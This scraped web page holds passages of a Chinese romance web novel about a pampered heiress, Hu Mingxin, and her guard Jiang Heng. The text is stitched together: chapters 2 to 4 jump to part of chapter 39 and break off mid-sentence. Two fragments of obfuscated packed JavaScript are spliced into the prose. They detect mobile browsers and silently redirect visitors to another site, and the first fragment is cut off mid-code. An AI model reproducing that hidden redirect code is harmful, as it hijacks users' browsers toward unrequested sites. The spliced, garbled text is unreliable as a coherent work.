《偷得侍卫半日闲》 2. 双蝶绣罗裙 《偷得侍卫半日闲》全本免费阅读 “可,爹爹也没派个丫鬟什么的,就你一个人来?”多少有点草率吧?也对,她身边本来是有的,遇到盗匪全军覆没了而已。 蒋珩顿了顿,转过身没吱声。 垂睫轻颤,抿住发白的薄唇,他掏出胸口的金疮药,一点一点僵硬地抬起手上药,药粉刚撒上去,剧烈的痛意迫使其闭了闭眼,冷汗渗透衣衫,蜷起了指尖。 胡明心看得头皮发麻,感觉能听到伤口肌肉绷紧的声音,血液潺潺,细微的声响最是磨人耳朵。不过侍卫却一声都没叫。 她想着既然爹爹让他一个人护送她,证明对这个侍卫还是很信任的,人要是搭在这就不好了。 假意轻咳了两声道:“要不然···我帮你吧。” 少女声音柔软,以为掩饰得很好,其实很容易能听出一丝怯意,毕竟大小姐从来没干过这种活,一时发善心罢了。 侍卫怔了怔,自己都未察觉,眼底多了几分暖意,身体渐渐柔和放松。 “没关系,你歇着吧。” “哦!”爱用不用!受伤的也不是她,不对,她也受伤了! “蒋珩,我身上的伤还要上药呢,你带了玉肌膏吧。” 玉肌膏是伤药中最出名的外用药,传说可以使伤痕恢复得比之前还好,就是价格昂贵,令人望而止步,一直都是上三流人士的首选。 她盯着蒋珩的表情,发现这人表情真的很淡,最喜欢干的事就是皱眉,比如现在。他上完药穿好衣服,眉头都没散开,淡淡道一句。“没带。” “没带?那我的伤口怎么办?” 蒋珩眉头皱得更厉害了,声音嘶哑。 “姑娘这伤不重,用我的金疮药便可。” 胡明心瞪大了眼睛难以置信,这是一个侍卫该说的话?她伸出红了一片的手,指节处还有血丝。“那怎么行?我手腕也肿了,手上都是口子,留疤了怎么办?” 要不是蒋珩杀手出身视线好,可能就看不清楚了。 玉一般的肌肤,在月光下白得发亮,鲜红的血线是唯一瑕疵。如果留了疤,确实难看。是他的疏忽,确实没想到,草叶也能割伤人。 “我明天上街去帮姑娘买。” 晨光熹微,天光即白。 胡明心缓缓睁开眼,而后痛呼了一声,口干舌燥、浑身酸软,缓了好久才撑起上半身。 此时发现,她身处一间很破旧的土房子里。躺着的床简易到只剩一块劣质木板撑着,睡得腰疼。身上的被子硬得脆折,她从未见过这种面料。屋内有股儿发霉的味道,多待一会儿都会对鼻子有所冲击。 作为从小娇养着长大的人,哪里住过这种地方,小幅度扇了扇鼻腔前方,带起床上的尘灰直接呛进了鼻子里,咳嗽两声便开始喊人。 “咳咳···蒋珩。” “蒋珩!” “蒋珩!!!” 话音刚落,人端着一碗黑漆漆的汤药进了屋子,用视线打量了下床上的人儿,发现没有别的病痛松了口气。 将药碗放到床沿,嗓音暗哑又低沉。“喝药吧。” 胡明心攥了攥指节,还喝药?让她住这种鬼地方还喝什么药?“我爹让你送我北上,你就这么照顾我?”她指了指这间屋子,越看越生气。“这是人住的地方吗?!” 还有一句话没说,她养的猫都比这住得好! 蒋珩没理会这话,乡下农户大多都是这般,庄稼人地里刨食哪有钱财将家里修得富丽堂皇。为了不影响大小姐休息,他还特意多给了银子让这户人家去亲戚家,腾出地方。 舀了一勺褐色的药汁,鼻尖凑近感受了下温度,又放回碗中,反复多次,直至觉得温度差不多了放至她嘴边。“先喝药,再说别的。” 还有些小情绪的胡明心愣了下,原本以为他是克扣了爹爹的钱故意虐待她。可他一个侍卫喂药竟然能照顾得比丫鬟还细心,她曾亲眼看到贴身丫鬟往她喝的药中兑放凉的白水,用来喂她 所以她故意掀翻了药碗不喝,丫鬟果然被罚了,可换过来的春意跟上一个没有太大区别,所以也懒得闹了。 她不明白,她从不克扣丫鬟的月银,也不喜欢打骂人,但就是每一个伺候她的丫鬟都战战兢兢,不像蒋珩这般用心。 不知道为什么,她总是不讨人喜欢的,蒋珩既然这样对她,想来应该不是克扣她。 也许因为玉肌膏太贵了,所以住宿的钱就得少一点?那也可以理解。 像这种事情下次提前跟她说就好了啊,胡家最不缺的就是钱了,完全没有必要。 “只此一次,下不为例啊!不准再让我住这种地方。” 蒋珩扶碗的手顿了顿,没反驳也没应下。 胡明心低下头喝了一口,随即眉头紧紧皱在一起,要不是为了保持女子风范绝对一口吐出来。好不容易咽下去第一句话便是。 “蜜饯!蜜饯!蜜饯!” 上街采购的任务又多了一项。蒋珩本想自己去的,胡明心指了指破烂的香云纱。“那我们回家去取点衣物再走吧。” 为了不让人回家知道真相,于是,两个人一起上街了。 进了成衣店,胡明心从货柜的这头走向另一头,只觉得小地方衣料真不行,不说跟她身上的香云纱比,就她穿过的最普通的料子都没,一瞬间失了挑选的兴致。垂眸思忖一二,随便找了件颜色淡雅、质地柔软的披衫,整套拿出来。 “来这个吧。” “姑娘真有眼光,这是本店最好的料子,从姑苏城来的,配姑娘的气质刚刚好。”掌柜奉承了一句。脸上笑得比迎春花都灿烂,他一早看出这小娘子身上的衣料非凡,不似流通货色。果然行家出手,一挑就是店里最贵的。 “姑娘还要不要看看别的?我们家这···” 话还未说完,胡明心赶紧摇摇头。“没几个我喜欢的。” 掌柜:······ 说完她好似想到了什么,将衣衫放至身前比量了一下。“怎么样?好看吗?” 浅绿色的轻纱衬得少女肤脂如玉,即使单看只是一件不出众的衣裙,在她脸蛋的装裱下,也像姑苏城最行家做出的绝世衣裙。蒋珩瞳孔中不明显得惊艳了下,突然理解了以前侍卫营中那些追姑娘钱不够花的同僚。 如果是胡明心,他大概愿意也捧上全部的金钱,将她打扮得漂漂亮亮。 美人笑靥值万钱。 强迫自己把目光移开,嘴里诚实说道:“姑娘穿什么都好看。” 胡明心显然被取悦到了,给他一个眼神,意思很直白,算你有眼光。 等人进去换衣服,他去付款,一件衣衫便花了他当侍卫两个月的月钱。想起府内胡明心有一间专门放衣物的屋子。 垂睫揪紧钱袋,浅灰色的布袋多了几条折痕。像是被糅的眼眸,掠过一抹坚定。 这家成衣店算是小镇上最好的成衣店,货柜种类繁多,试衣间也很封闭,可帮忙穿衣服的女郎实在话太多了,胡明心闻着她身上廉价香料的味道,耳朵听着魔音,烦躁得直翻白眼。 “姑娘不是我说,您这腰条和脸蛋,穿什么衣服不好看?店里还有几款新到的样式我再给您拿来瞧瞧?” “姑娘你可真白啊,皮肤透亮,保养得太好了。” “姑娘你不试试吗?店里新来了个藕粉色的夹衫,可适合你了,显白。” < 3. 双蝶绣罗裙 《偷得侍卫半日闲》全本免费阅读 “是吗?”胡明心也不太确定,毕竟接触时间不长。 蒋珩只当没听见,又选了几款看起来比较适配大小姐的蜜饯一起包起来,对着人询问道:“姑娘除了这些还需要买什么?” 说起出门要准备的东西,那可就多了,胡明心掰着手数,从桂花蜜果茶到她的蚕丝妆花被褥,连喝水的器皿都有具体要求。往常她出门,这些都不用操心,春意自会安排好。既然蒋珩是第一次照顾她,提点几句也无妨。 她这般想得很好,不料蒋珩冷着脸,厉声把这些意见全否了。 一问就是“带不了。”再问就是“行程紧。” 胡明心从小到大哪里受过这种气,一听便知是委托之词还说得冠冕堂皇!也不知道她爹为什么要把她交给这个侍卫照顾,睡也睡不好,吃也吃不好,整天只会虐待她! 当即手拍货柜,叉腰怒道:“蒋珩!你别太过分了!我爹就让你这么护送我的?” 蜜饯铺的掌柜猛地一惊,捧着胸口,一脸心疼地看着那些蜜饯,提心吊胆地小声劝了两句。“客官,客官息怒。” “息怒不了!” 话音落下,蒋珩叹了口气,简直不知道该说什么好。她一个千金大小姐,柔荑一直娇养着从未干过活,没把子力气不说,反而把自己拍得通红。本来手背处被蚊子咬的地方红肿就没退,这样看起来纤细的手掌就像是被人打了一样。又心疼又好笑。 “先把东西送回去,这些我们回头再添置。” “你说真的?” “真的。” 东西具体下落没人关心,蒋珩妥协,她便觉得自己胜利了。不过现在好像又被拿捏了,侍卫说伸手时她埋怨人声音太过冷硬,但对上那认真的目光还是听话照做了。 原本白皙娇嫩的手掌经过刚才的一番操作,显得狼狈极了,她的手从小到大都没造过这么大的罪。这两天因为这个侍卫真是什么都赶上了。她爹爹竟如此狠心,将她托付给一个这般粗鲁的侍卫,伺候她的丫鬟还没了,如今只能听天由命。简直是世界上最可怜的小女孩! 侍卫从怀中掏出白净的瓷瓶,用棉签蘸了些药膏,抹在指节、皓腕等伤口处。 玉肌膏冰冰凉凉的,缓解了手上的痒痛。她想把手缩回来,结果指腹正撞上侍卫收紧手掌,被浅浅地握了下。 隔着滚烫的体温,心跳声“砰、砰、砰”响在耳边,四目相对,空气弥漫一种说不出的黏糊。 “你…” 她气得脸色酡红,有些羞意,想骂一句登徒子。话还未说出口,蒋珩已经收回视线,默默将药膏收好。 好像只有她一个人在意刚才那点接触,自觉失了面子,怒瞪一眼侍卫,双臂交叠挂在身前,仰起头。“你给我联系爹爹,就说我的丫鬟和侍卫都丢了,再送来一批。本姑娘要换个人伺候我!” 蒋珩在这句话里,抬头看了她一眼,表情纹丝不动,嘴里异常强硬。“不可能,要等到永宁侯府才能联系上老爷。” 只是没人知道,在胡明心说出那句话时冷汗便从后背渗了出来,浸染到伤口上,痛意使他硬了脸,这才瞒过去。 正思索着剩下的借口,那边胡明心忽然站起身,他看着那距离想伸手去拦,可刚才想事情分了他的心神。“哐当”一声响起,乌黑的发丝陷入轿子的顶梁,发髻散了,少女眼尾红成一片,泪水挂上眼睫。一双剪水的双眸瞧着楚楚可怜。 他有些好笑,看着人抱头坐回去,气势上矮了半截。干脆直接把一旁整理好的东西摔下去了。 啧,这大小姐脾气。 直等到了下一个落脚点,气都没消。 往常胡明心虽然娇纵,但对于要求还是会讲明的,今日却是什么都没说。客栈的饭只吃了两口就扭头回屋子休息。问也只说吃饱了。当晚他出门了一趟,回客栈时就发现人不太对劲儿。 细密的呻吟,像是幼猫在叫,微弱,却让人无法忽视它的存在。窗上晃起了高大的影子,无声无息落入屋内。蒋珩坐在胡明心身边,她好似察觉到了来人,迷迷糊糊将脸贴过去,直往人怀里钻。 呼吸凌乱地扫过脉络,即使隔着衣料都有些暧昧过了头。他禁不住把人往外推了推,少女蹙起眉,呢喃了几句,不满他的动作,指尖穿过腰间,抱得更紧了。 像是寻求抚摸的小猫咪,平日里高贵矜持,现下又探头至颈窝,蹭了又蹭。温热柔软的肌肤相贴,带起阵阵酥麻。 蒋珩闭了闭眼,喉结上下滚动,指节紧紧扣在一起,缓了好半天,方稳住心神,将人儿重新放至床内躺好。 脉象并无不妥,可胡明心裸露在外的皮肤,泛着红,大概是有些痒的,双臂乱动,不给抱就蹭被褥,结果越蹭越痒。 “唔~嗯~”似是因为难受,少女纤长浓密的眼睫沾了层水汽,仿佛随时要随着脸颊滑落,我见犹怜。 他琢磨不清病因,绮思散尽,眉头皱得死紧。但也清楚不能任由人这么病着,只好出声轻唤。“姑娘,姑娘醒醒。” “爹爹。”这次他终于听清了她的呼唤,僵坐在一旁,寒意拂进衣襟。男人垂眸半晌,忍着心口的慌乱。 他撒了一个弥天大谎,当时看着那双剪水眸,他实在说不出残忍的话。可到了永宁侯府,他要如何才能让少女接受,她已经没有家了,她念的爹爹不会再回来了。 霜夜清冷孤寒,他忽然想起那日漫天大火,烧起来连天边都染上了红色。 胡父是位很出名的美髯公,人至中年,身材清瘦,蓄着不多不少的胡须,一举一动仿若画中人。静坐在书房的圈椅内,层层书架错落延伸,半遮他的身影,像是柳暗花明,又或者犹抱琵琶半遮面。 蒋珩来时看到的就是这样的场景,胡父摩挲着手中的檀木匣子,对外面发生的事情仿佛早有预料,不惊不慌,不慌不忙,淡淡地开口询问。“你的真实姓名唤作什么?” 心底最大的秘密突然被剖开,他忍不住战栗了一下,难以置信地抬头。那双与胡明心相似的眉眼染了笑意,可那笑意却不达眼底,甚至带着淡淡的悲凉。说 4. 双蝶绣罗裙 《偷得侍卫半日闲》全本免费阅读 夜幕落下,涟漪散去,小镇内打更人游街串巷,替昏暗的夜色添了一分明亮。风声快速掠过,蒋珩寻遍了三条街才发现一间开着的医药铺。 灯笼高悬于街道旁,他着急地进门,然后嫌老大夫动作太慢,一把揽过药箱,直接用轻功将人带走了。 药童顿时张大了嘴,指着天空惊讶道:“飞···飞起来了?”说完好似反应过来什么,他跑到门口招手大喊。“壮士我师父年纪大了禁不住啊!” 禁不住的老大夫被放下时眼前直冒金星,粗喘着气指着蒋珩骂。“莽夫!” 空气中只留下喘气的声音,蒋珩直挺挺地站在一旁,被骂了也不还嘴。怕给这老大夫气出个好歹,大半夜没下个地给胡明心找大夫。 喘息声渐停,视线步入内室。客栈的雕花床不大,只足够躺下一人。 帷幔层层叠叠,少女身姿曼妙、玉骨玲珑,皆掩于其中,露出一节纤细的皓腕,在暗夜中白得发光。之前草叶造成的伤口已经结痂,上面一个接一个排列稀疏的小红点衬得越发醒目。 嘤咛声不时响起,露出的半截手臂动不动就挨着被褥蹭,还不知被帷幔藏住的是什么光景。 在他出发去找大夫时,胡明心身上还没这么严重。蒋珩恨自己粗心,没看顾好人,当下语气便急了些。“还请您快给看看。” 老大夫打量了一下被轻纱垫好的皓腕,轻抚胡须,不紧不慢。因为一眼便知,这姑娘不是一般富贵人家能养出来的,对病情有了几分猜测,把脉时露出个果然如此的表情。 这些富贵人家的姑娘养得精细,平日里垂花门都不出,未接触过外面一些常见的东西,所以才对病症不了解。说白了,都是富贵病。 “莫急,莫急。姑娘这皮肤的红点是过敏所致,有痒意属正常现象。” “过敏?” 疑惑的语气让老大夫叹了口气,眼神不免带了一丝嫌弃之意,这姑娘家里富贵滔天怎么就一个大男人照顾?男人照顾人哪有丫鬟细心。别不是…… 偷偷打量了两人几眼,一个身着普通,面容硬朗的穷小子,一个千金小姐。深觉应该是知道了什么秘密。面上不动声色,心里暗道姑娘糊涂,跟一个男人私奔能有什么好下场? 想敲打一下男人便指着那些红点没好气道:“当然啊,皮肤都起红点了,症状很明显,不是过敏是什么?在家里养得好好的,平时不要往外跑。” 被说了一通那人也不生气,高大的个子站在边上垂着头,像个受气的小媳妇,委屈,不敢吱声。只知道转眸看床铺方向,想来是担心极了。 老大夫闭了闭眼,也不想管别人的家务事,到桌案上提笔开口。 “姑娘这病,首先得远离让她过敏的东西,客栈不比家中,熏香、吃食,平常器具用皿都有可能。先去开些马齿笕来服用。最要紧的是这些红包不能抓破,不然姑娘娇养这么多年的皮肤可能会受影响。” 蒋珩一五一十将事情记下,之前在蜜饯铺胡明心说了一大通用的东西,他还不以为意,逃亡何必带繁多的身外之物?只会拖累。 他本打算安稳送人到永宁侯府再给她置办的。如今看来,买东西必须提上日程。 是他忽视了。她本就是含着金汤匙出生的千金小姐。见识的是人间繁华景色;用的是江南地界之最;吃的全是百里挑一,从各处用冰运过来的新鲜果蔬海鲜。府医三天一把脉,咳嗽一声丫鬟都得跟着跪地一片。 哪能像他糙汉子一样,什么都可以用,什么都不需要。 跟老大夫叙述了一遍胡明心的轨迹。初步将过敏源锁定在被褥中。 “外面的客栈不比家里,这被褥里塞什么的都有。大半夜的不好找,这样吧,老夫家中有个新的纯棉做的被,是给我闺女用的。一会儿去取药,按照成衣店的价格给你。” “当然,老朽不是为了占你便宜,你觉得不合适。尽可自己去成衣店买。” “老先生说笑了,你帮了大忙。” 此话蒋珩说得真情实意,大半夜的确实没地方去找一个开着的成衣店,如果老大夫不开口说这话,他大概得做一次会付钱的梁上君子了。 能简单的解决被褥,就算老大夫多要些都无妨。只要人不继续遭罪,别的都是小事情。 于是他先将胡明心安顿好,再陪着老大夫回去取东西。被褥过敏就放在软塌上盖衣服,一趟出去将东西全部拿回来。 大半夜在客栈的伙房开了火,煎给大小姐的药。 两碗水熬成一碗,蒋珩端着药进来,先放在一旁晾凉。又水洗了帕子替胡明心擦拭裸露在外面的皮肤,擦了好一会儿,胡明心就被他擦醒了。 “醒了正好可以喝药。” 胡明心脑袋本还有些迷糊,昏胀昏胀的,听到这句话立马就清醒了,将胳膊举起来训斥道:“不喝!你敢绑着我?蒋珩你完蛋了!等我到了永宁侯府我要告诉我爹让你好看!” 蒋珩对于这话理都不理,擦完把人放回换好的床铺上,厚实绵软的被褥压上身上,绣着大朵大朵的荷花,还有股儿皂角的香气,她蓦地意识到,之前那个硬拉拉的客栈被褥已经换成别的了。 蒋珩他这是…… 紧接着被喂了一口中药,她拧着眉。“干嘛又吃药?苦死了。” 娇气的样子符合蒋珩的心理预期,他拆开绑着人的绷带。稀疏的红点映入眼帘。胡明心的尖叫声被蒋珩用手硬生生给捂了回去。 她惊恐地指着自己的胳膊,此刻想死的心都有了。 “这都是什么?” “过敏,吃药,过两天就消了。” 声音太过平静,与往常她闹脾气时丫鬟的态度截然不同,胡明心转过头,怒意烧到了眉心。 隔着床幔,烛光隐隐跳动,落在蒋珩轮廓分明的脸上,眼底泛着乌青,唇色发白。衣衫单薄,偶有血腥味露出。 她陷入了怔然,其实昨天晚上,这人受伤重到躺在草地上都起不来了。 像是她小时候养的那只小猫,被踩了也不挠回去,只是以后都默默走远一点。不知为何,积攒的怒意忽然就消散了,一时之间失了说话的力气,晕红着一张脸开始配合吃药不喊也不闹。 蒋珩松了口气,虽然不知大小姐为何突然变了心性,但能配合好好养身子就好。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924420|129781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的亲生儿子,有家不能回。明明是侯府世子,如今却隐姓埋名活得像个影子。 皇室密药,光是想一下都知道毒性的霸道,她真的,真的,真的,想再见儿子一面啊! 胡明心眼睫微颤,心口慌乱。她从未见过元夫人如此模样,就像是那个雨夜奔来的身影。 哭泣的目光牢牢钉在她身上,令她动弹不得。 “起来!”永宁侯声音洪亮,看向她的眼神威压几乎化为实质。“那是我们的亲生儿子,凭什么求她!” 什么?!亲生儿子! 骗人的吧! 蒋珩是她家府上的一个小侍卫啊! 胡明心眼睛陡然睁大,被惊得变了脸色,错愕地看着夫妻两人,求一个答案。 事已至此,瞒着也无用,元夫人站起身,神色悲悯。“你还记得我去找你的那个雨夜吗?” 就是那个她跟蒋珩吵起来,然后莫名其妙永宁侯府上下对她变了态度的转折点。 胡明心想到一种可能性,不着痕迹地退了一步。“你的意思是,那夜是蒋珩去找你。” “原来他现在叫蒋珩。”元夫人擦了擦眼泪,朝她逼近了两步。“没错,之前他本已跟家中决裂,那是他走之后第一次回来。说你是她的救命恩人,希望我们别为难你。” 胡明心伸手止住元夫人的脚步,神色晦暗不明。 侍卫变世子,这种事情!谁能想到啊! 所以他跟卫蓟不对付,他出事,永宁侯和夫人这么着急。 所以,那天她以为的两人决裂,他却是为了她能过得好,特地找到他不想再见的父母,说那些是是而非的话。 所以,她明明拒绝了他去杀左临的提议,他还是去了!这个傻子!她真的是气得想宰了他! 屋外金乌升起,阳光洒满少女单薄的后背。 胡明心在此刻,阴沉着脸,缓缓道:“元夫人,侯爷,事情紧急,我可能要出府一趟了。” 两人闻言眼前一亮,元夫人更是控制不住上前了两步。 胡明心见状赶紧伸手拦住。“很抱歉,我家庭和睦幸福,并不理解你们的恩怨。但既然他不想见你们,我不会带你们去的。” 永宁侯一听凶神恶煞地怒视着胡明心,情绪仿佛要失控了?般。而胡明心没有一丝退缩,直直对上他的视线。 柔软的身体包裹着难以想象的坚毅,最终永宁侯转过身,无奈低声道:“带几个人,别让尾巴跟了你。” 他们能想到的事情,左临的人未必想不到。不能帮不到人,反而成了突破点。 胡明心行大礼拜谢永宁侯和元夫人,随后迈着沉重的步伐朝府外走去。 她先让冬藏传信,然后再赶路出门。果然如永宁侯和元夫人所说,蒋珩那边始终没回音,肯定是出事了。 现在只能靠冬藏跟着海东青,试着找出蒋珩在哪。 一路上,永宁侯派出的精英清理了几波尾巴,胡明心捂着心口暗骂:“这个笨蛋,哪有侍卫会这么不听话,难不成真以为自己是个冒牌世子就能违抗她的命令了吗?” 不可饶恕! 不知海东青究竟飞了多久,胡明心坐得腰都快散了,心口也越来?越乱,几乎窒息。她强迫自己冷静下来?,蒋珩那么厉害,徒手爬城墙都可以,不会死的!绝对! 到了子时,海东青停在一条河岸边。想来这里就是它能追到的极限。 到了这个时间点,能见度下降,胡明心不会武功,下轿后众人默认她帮不上什么忙。 她只能紧跟在冬藏身后,气喘吁吁也没停下,希望不要拖慢找人的步伐。 那个学做绵绵糕给她吃的人,那个每次遇到危险都挡在她身前的人,怎么可能中毒失踪。 看着众人一次一次空手而归,她?忽然觉得很难过。 明明她爹娘没做错什么,她也没做错什么,蒋珩更是什么都不用做就可以,可偏偏是他们承担了这些苦难。 为了别人那可怜的善心。 她怎么能被这么可笑的东西打倒! 胡明心横下心,拎裙往前。 鞋底沾泥,裙摆染湿。因为看不见,她便用手一点一点摸索。石子,草叶,像是一寸寸的刀,对她来说无一不是割伤肌肤的利器。 但此时,她已经不在乎了。 溯游往下,河水越发湍急。乌发被飞溅的水珠染湿,手上的伤口沾水时不时便要叫嚣两句疼痛。 胡明心紧咬着牙,找人带来的体力流失远超她这个大家闺秀的想象。身体似是冻僵了一般,她从来没想过,八月的天也会这么冷。 冬藏看不下去,想将胡明心拉回来,但小姑娘此刻怎么都不愿意动。 “我有预感,我快找到他了冬藏。” “姑娘说什么傻话?再这样下去没找到大人,你先撑不住了!” 胡明心不听,终于,她好似摸到了那匹手感熟悉的布料。 39. 细看诸处好 殿门之后是一段高阔的长廊,长廊两侧每隔几步站着一名侍卫。胡明心想着,左临的府邸会不会也是这样?那蒋珩到底是怎么敢进去的。 越往里走,肃穆越重,太子所在之处尤甚。胡明心行过礼后,用大指狠掐了两下食指,强迫自己镇定下来。 太子面色阴沉,视线转向元唤,张口便是指桑骂槐。“你是什么身份?东宫想来就来?” 元唤立马抢地磕头,两下额头就见紫。胡明心不忍再看,率先开口。“与元大人无关,是民女想跟殿下做一笔交易。” 清亮的嗓音如鹅卵石跌入湖中,荡出一圈圈涟漪,太子冷嗤一声。“破败之家,有何资本跟孤做生意?” 他能高看胡明心一眼,是因为她联系起了三方势力,这并不代表他会欣赏一个把他看重的人拉去送死的主子。 今日他能见人,是看在尹之昉的面子上。 胡明心大指掐得更重,心中愤恨不已,表面笑得温柔。“太子应当知晓。破败之家每年上缴的税收是整个姑苏的一半。而姑苏的稅贡可占国库四分之一。我是大安王朝的子民,难道我不能求大安王朝的太子殿下庇护我吗?” 太子面色变了变,顺着胡明心的意,挥手解救正在磕头的元唤。 胡明心朝元唤点头笑了笑,示意他无事。等众人鱼贯而出只剩骨鸣时两人重新提出交易。 “孤听一听,有什么交易值得密药来换。” 胡明心打起精神,太子果然和蒋珩认识,还知道实情。 既然问了货物情况就代表这单生意可做,她想起蒋珩曾说过的话,破釜沉舟。“梁国探子的消息,请问太子,够吗?” 直到这时,太子方抬起头第一次正视胡明心的脸。 “骨鸣,给胡姑娘看座。” 不愧是姑苏最富养出来的姑娘,一举一动都带着水乡的柔。身形窈窕,肤质白皙光泽。额间几缕碎发浅浅勾勒。一双杏眸自信又明亮,漂亮极了。即使发梢还带着湿意,也完全不输汴京任何一个贵女,或者说更胜。 而且,梁国探子啊!这么大一份惊喜!但,说这种消息她也不怕自己会惹上事?眨眼间这位太子起了兴头,想要诈一诈胡明心,看看眼前的少女作何反应?看看她会不会后悔派蒋珩去杀左临。 “这么说起来,你和梁国有勾结?”他微俯身子,声音暗沉,常年积重的权威让压迫感霎时达到顶格。 “太子勿要跟民女说玩笑话,此乃无稽之谈。” “哦,那你未和梁国勾结,何来梁国探子的消息?” “太子既想要我的诚意,是同意做这笔交易咯?” 少女不紧不慢,仿佛真的在跟他谈生意一般。临危不乱,有理有据,反将他一军,并不像传说中那样,是个什么都不会的娇娇女。难怪蒋珩死心塌地跟着她。一个又美又娇还能扛事的主子,那个侍卫会不喜欢? 那想要抢人就更难了啊,他摇了摇头。“孤觉得,筹码不够。” 似笑非笑的神情,是在吸引胡明心继续下注。但她一破败之家的孤女,确实没有别的筹码。除了——蒋珩自身。 本来此事就只有三成把握,缺兵少粮的将领,天然处于劣势。想要打赢这场仗,需得破釜沉舟。 想到此处,胡明心浅笑了下,露出颊边的梨涡。“殿下,谈生意要有个底价,民女确实救人心切,但正是有救人这份心,所以绝对不会出卖要救的人。” 太子陷入沉思,指节一下一下敲在桌案上。似催促,似思考,好半天才皱着眉道:“那你为什么让他去杀左临,堂堂都指挥使,如果手下没点人,那么好杀,岂不是告诉别人我大安王朝像个筛子!” 这件事胡明心还真挺冤枉。但是话说出来总感觉是蒋珩自作多情一样,胡明心袖下的指尖轻颤,不忍再让那个受重伤的人被瞧不上,索性认了这件事。 “殿下,父母之仇,不共戴天。明明人人都知道是左临对我胡家动了手脚,但人人都装傻,权势如此动人,民女偶有失控才是正常举动。” 听起来就像指着鼻子骂他包庇,可左临尾巴处理得干净,父皇得了好处也乐意,太子瞥过脸,愧疚涌上了一点,打开天窗说亮话。 “胡姑娘不愧是首富的女儿,生意经不错。那就该明白,没人愿意做赔本的买卖,总不能救一个孤用不上的人吧。” 缓了话口!代表事情有希望! 胡明心眼前一亮,出口的话在脑海中整整绕了两圈。 首先,太子打的主意是想让蒋珩为他所用。毕竟蒋珩的身手,确实有让人惊叹的资本。太子看上也正常。 其次,她不能为蒋珩做这个主,因为他们不是主仆关系。而且,即便她能说了算,她也不希望还有别人能支使蒋珩。 最后,如果直接开口,太子肯定不能接受,所以她要说得模棱两可一些。 “民女自然不会让殿下做亏本买卖,不过人现在危在旦夕,殿下用着也不顺手不是?” “胡姑娘,打马虎眼在孤这可行不通。” 双方寸土不让,沉静下是见血的剑拔弩张。骨鸣咽了咽口水,第一次发现胡明心气场这么强,明明进来的时候看着像个软妹。 软妹一字一句咬重字音。“殿下,民女的底价,便是蒋珩。” 太子一见胡明心这么硬气,当场也恼了,要知道现在可是求他办事!刚想训斥两句,胡明心下一句话接踵而来。 “殿下,难道梁国还比不上一个都指挥使重要?您的太子之位安分守己做了十三年,难道要做二十三年,三十三年吗?我给您奉上的是触手可及的军功。” “而且我跟您保证,这次的药就当我们欠您一次救命之恩,来日必还。” “尔敢…”说这种话! “殿下不妨考虑一下。”胡明心丝毫不惧,以前她绝不会想到那么深,但现在,思忖间缕清了很多事情。 太子需要靠求助七星楼保性命,她确信,刚才说的话绝对踩在太子的软肋上。 事实上确实如此,太子心中防线天塌地陷,面上微微动容。对胡家的愧疚,对蒋珩的不甘,还有他的小心思…… 胡明心操着一口吴侬软语,长得人畜无害。像只小白兔一样,却仅靠几句话,拿下了太子,骨鸣不禁咋舌。 太子叹了口气,妥协。“胡姑娘,这笔生意孤做了,药就在骨鸣手中,孤好人做到底,让他护送你出城。” 胡明心行礼的动作一滞,太子竟然知道。 好似知道她心中所想,太子缓缓道:“放心,因为追出去的人被孤解决了,所以父皇下令暗查主要在城门和城内,只要处理干净,汴京周边暂时安全。” 见胡明心脸色不好看,骨鸣这时找回点自信,心中感叹果然还是他主子最牛。 刚得知左临被刺杀的消息时,太子是完全看不上胡明心的。他认为只有大傻子才会浪费蒋珩这种人才在直接刺杀上,暗中筹划不好吗? 就算用蒋珩一换一,也不划算啊! 只要有脑子,左临这种人扶几个有几个,端看谁能先放下身段去当父皇的狗,蒋珩这种百年难得一遇的天才去哪找? 气得太子锤了好几下桌案,骨鸣深表赞同,有其仆必有其主!两个人都蠢笨如猪! 所以他以为元唤这次帮忙没戏了,还准备笑他多管闲事,没想到主子竟然见了。 见了就算了,从胡明心进门没多久,主子态度就变了。 美色误人,美色误人呐!连太子这么英明神武的主子都逃不过! 骨鸣心中正哀叹呢,转头主子就打了胡明心一个措手不及。 哼!这才是当朝太子,他骨鸣的主子! …… 完全没理会骨鸣复杂的心理活动,胡明心返程时蓦地反应过来,自己被骗了! 太子连追出去的人都帮忙解决了,肯定是想救人的!还搁那跟她演呢! 不过太子也不可能算到她手里有梁国探子的消息,那太子原本的打算是什么? 正想着,变故突生。马车出城后,被拦了。 “更深露重,世妹去哪啊?”左星桀含笑出声,缓缓走过来,带着人迅速包围马车。 太子派给胡明心的人不多,骨鸣领了四个暗卫而已。听那脚步声,对方应该人数比他们高出几倍。 胡明心本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12978154|129781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是强撑着病体出门,这下只觉马车内天旋地转,脑海中针扎一样疼。她咬牙掀开帘子,于火光中直视对方的脸。 左星桀是左临大儿子,跟着左临一路混上来的,与胡家众人都熟知,想必对胡家怎么下手也熟。 他见胡明心探出头,笑意更盛。马匹在身下不老实地扭头嘶鸣,他将手放在马的鬓毛上,狠狠一拉,自己飞身下马。 下一刻,马匹受惊,场面失控,一抹棕色跑出残影直奔轿子,惊了拉轿子的两匹马。 这次是真的天旋地转,胡明心稳不住身形,在轿内被撞得四肢百骸都钝痛,背部像是断了一样。 骨鸣利落劈了几剑,马车瞬时四分五裂,她在被甩飞出去之前,骨鸣先拉着她脱离了轿子。 